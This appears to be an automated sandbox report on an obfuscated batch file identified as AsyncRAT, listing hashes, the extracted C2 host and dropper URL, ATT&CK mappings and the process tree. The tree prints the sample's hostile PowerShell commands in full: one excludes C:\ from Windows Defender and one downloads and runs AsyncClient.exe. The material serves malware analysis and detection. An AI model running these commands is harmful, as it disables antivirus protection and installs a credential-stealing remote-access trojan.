asyncrat | e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3

General

Target

cool-obf.bat
Size

20KB
MD5

99525fe4bc3b8826a79437472b315528
SHA1

6f4c3291b57e996bac223dda1b7b1bcfea8d4528
SHA256

e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3
SHA512

6dca8ca280024c06b37c42d0f92b5d3b8cb7479fd527e9c5fc81efac8cd22c6adc6ac5dd2e5fdb8aeebff2634ea010ce9497c20dbf58addd382597855ac81887
SSDEEP

384:UmN+vVczZIkT0EFDuWLhGzAzjpyHGGwWW9l:PQvVc1jT0EFDuWLhGsfpyHzw79l

Score

10^/10

asyncrat default discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Default

C2

yyyson22.gleeze.com:4608

Mutex

dw

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\AsyncClient.exe	family_asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

12 3944 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1472 powershell.exe
3944 powershell.exe
1472 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

AsyncClient.exe

pid process

1480 AsyncClient.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

12 raw.githubusercontent.com
11 raw.githubusercontent.com
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

AsyncClient.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AsyncClient.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exeAsyncClient.exe

pid process

1472 powershell.exe
1472 powershell.exe
3944 powershell.exe
3944 powershell.exe
1480 AsyncClient.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeAsyncClient.exe

description pid process

Token: SeDebugPrivilege 1472 powershell.exe
Token: SeDebugPrivilege 3944 powershell.exe
Token: SeDebugPrivilege 1480 AsyncClient.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

AsyncClient.exe

pid process

1480 AsyncClient.exe

flow	pid	process
12	3944	powershell.exe

pid	process
1472	powershell.exe
3944	powershell.exe
1472	powershell.exe

pid	process
1480	AsyncClient.exe

flow	ioc
12	raw.githubusercontent.com
11	raw.githubusercontent.com

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncClient.exe

pid	process
1472	powershell.exe
1472	powershell.exe
3944	powershell.exe
3944	powershell.exe
1480	AsyncClient.exe

description	pid	process
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	1480	AsyncClient.exe

pid	process
1480	AsyncClient.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3768 wrote to memory of 4524	3768	cmd.exe	chcp.com
PID 3768 wrote to memory of 4524	3768	cmd.exe	chcp.com
PID 3768 wrote to memory of 3216	3768	cmd.exe	find.exe
PID 3768 wrote to memory of 3216	3768	cmd.exe	find.exe
PID 3768 wrote to memory of 4884	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 4884	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 4300	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 4300	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 980	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 980	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 64	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 64	3768	cmd.exe	findstr.exe
PID 3768 wrote to memory of 2316	3768	cmd.exe	cmd.exe
PID 3768 wrote to memory of 2316	3768	cmd.exe	cmd.exe
PID 3768 wrote to memory of 2176	3768	cmd.exe	find.exe
PID 3768 wrote to memory of 2176	3768	cmd.exe	find.exe
PID 3768 wrote to memory of 4804	3768	cmd.exe	cmd.exe
PID 3768 wrote to memory of 4804	3768	cmd.exe	cmd.exe
PID 3768 wrote to memory of 1472	3768	cmd.exe	powershell.exe
PID 3768 wrote to memory of 1472	3768	cmd.exe	powershell.exe
PID 3768 wrote to memory of 3944	3768	cmd.exe	powershell.exe
PID 3768 wrote to memory of 3944	3768	cmd.exe	powershell.exe
PID 3768 wrote to memory of 1480	3768	cmd.exe	AsyncClient.exe
PID 3768 wrote to memory of 1480	3768	cmd.exe	AsyncClient.exe
PID 3768 wrote to memory of 1480	3768	cmd.exe	AsyncClient.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cool-obf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3768

C:\Windows\system32\chcp.com
chcp.com 437
2⤵
PID:4524

C:\Windows\system32\find.exe
find
2⤵
PID:3216

C:\Windows\system32\findstr.exe
findstr /L /I set C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:4884

C:\Windows\system32\findstr.exe
findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:4300

C:\Windows\system32\findstr.exe
findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:980

C:\Windows\system32\findstr.exe
findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:64

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
2⤵
PID:2316

C:\Windows\system32\find.exe
find
2⤵
PID:2176

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
2⤵
PID:4804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe', 'C:\\AsyncClient.exe')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3944

C:\AsyncClient.exe
"C:\AsyncClient.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\AsyncClient.exe

Filesize
61KB

MD5
a4314ad7e9a2945cf99dd03e9e46f7c1

SHA1
326c096e183a17cbc41034c6b6a6917de5347a86

SHA256
22639054481629b24309f3ab18f016231ed4f3de6fa6b852598848c1dbe7cf1f

SHA512
5787f414ebf281f581e26d21541915897e741995528bb7cc20e5d7c02d8a35e05047cd47e231d3ea389986323ee58039844c075134869a3e63d004c11f08a8c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t4x22q3q.hqe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp

Filesize
14B

MD5
ce585c6ba32ac17652d2345118536f9c

SHA1
be0e41b3690c42e4c0cdb53d53fc544fb46b758d

SHA256
589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

SHA512
d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

Download Submit
memory/1472-15-0x00007FFEE8970000-0x00007FFEE9431000-memory.dmp

Filesize
10.8MB

Download
memory/1472-19-0x00007FFEE8970000-0x00007FFEE9431000-memory.dmp

Filesize
10.8MB

Download
memory/1472-16-0x00007FFEE8970000-0x00007FFEE9431000-memory.dmp

Filesize
10.8MB

Download
memory/1472-5-0x000001DBF6420000-0x000001DBF6442000-memory.dmp

Filesize
136KB

Download
memory/1472-4-0x00007FFEE8973000-0x00007FFEE8975000-memory.dmp

Filesize
8KB

Download
memory/1480-36-0x0000000000CB0000-0x0000000000CC6000-memory.dmp

Filesize
88KB

Download
memory/1480-37-0x0000000005E80000-0x0000000006424000-memory.dmp

Filesize
5.6MB

Download
memory/1480-38-0x0000000005A70000-0x0000000005B02000-memory.dmp

Filesize
584KB

Download
memory/1480-39-0x0000000005C00000-0x0000000005C0A000-memory.dmp

Filesize
40KB

Download
memory/1480-42-0x0000000006B10000-0x0000000006BAC000-memory.dmp

Filesize
624KB

Download
memory/1480-43-0x0000000006BB0000-0x0000000006C16000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads